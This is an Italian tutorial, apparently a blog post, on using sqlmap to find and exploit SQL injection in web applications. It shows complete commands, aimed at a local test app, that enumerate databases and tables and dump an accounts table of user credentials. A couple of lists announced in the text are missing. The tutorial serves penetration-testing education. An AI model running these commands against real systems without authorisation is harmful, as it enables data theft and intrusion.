Sqlmap è un software di penetration testing open source utilizzato per automatizzare la ricerca di bug e SQL injection all’interno di applicazioni web. Con Sqlmap è possibile trovare la vulnerabilità, sfruttarla e connettersi al database appena violato per vedere, modificare o eliminare le tabelle. Supporta sei tipi di tecniche di SQL injection:
I test che può effettuare possono sfruttare i parametri GET, POST, i valori HTTP Cookie, User-Agent e HTTP Referer.
Il software si trova su Github ed è scaricabile da questo indirizzo. Dopo averlo scaricato e installato, per avere l’help digito
┌─[mrtouch@parrot]─[~]
└──╼ $sqlmap -h
I comandi di questo software sono moltissimi, specialmente se digitiamo sqlmap -hh. Visto che spiegarli uno ad uno non servirebbe poi a molto, effettuerò alcuni esempi pratici.
Le SQL injection nelle richieste POST e GET sono solitamente le più diffuse e vulnerabili. Una pagina vulnerabile potrebbe essere ad esempio quella di login, che, se non gestita adeguatamente, potrebbe rilevare tutti gli utenti e le loro password.
Per testare una pagina con richieste POST, il comando da digitare è
sqlmap -u http://127.0.0.1/index.php?page=user-info.php --data="username=HACK&password=HACK&user-info-php-submit-button=View+Account+Details" -v 3 --dbs
Dove:
Essendo l’applicazione vulnerabile, sqlmap ha trovato la vulnerabilità nel campo username e successivamente mi ha stampato i database presenti in MySql. Se invece volessi ricevere tutte le tabelle dei database, il comando è
sqlmap -u http://127.0.0.1/index.php?page=user-info.php --data="username=HACK&password=HACK&user-info-php-submit-button=View+Account+Details" -v 3 --tables
In modo meno evidente, potrei voler vedere solo le tabelle di uno specifico database. In questo caso il comando è
sqlmap -u http://127.0.0.1/index.php?page=user-info.php --data="username=HACK&password=HACK&user-info-php-submit-button=View+Account+Details" -v 3 --tables -D nowasp
Possiamo notare che è una cartella accounts, che sicuramente conterrà i dati di login delle persone registrate. Per vedere la tabella il comando è
sqlmap -u http://127.0.0.1/index.php?page=user-info.php --data="username=HACK&password=HACK&user-info-php-submit-button=View+Account+Details" -v 3 -D nowasp -T accounts --dump
Ovviamente per avere i database l’applicazione web deve essere vulnerabile a un certo tipo di SQL Injection, altrimenti non otterrete nulla. Sqlmap è utilissimo quando avete una richiesta e non volete provare tutti i tipi di vulnerabilità SQL in modo manuale, ma basterà impostare i comandi giusti e lasciarlo lavorare. Per chi volesse capire meglio altri comandi consiglio questo video (in cui viene spiegato come iniettare partendo dall’header di una richiesta con BurpSuite) e la guida ufficiale su Github.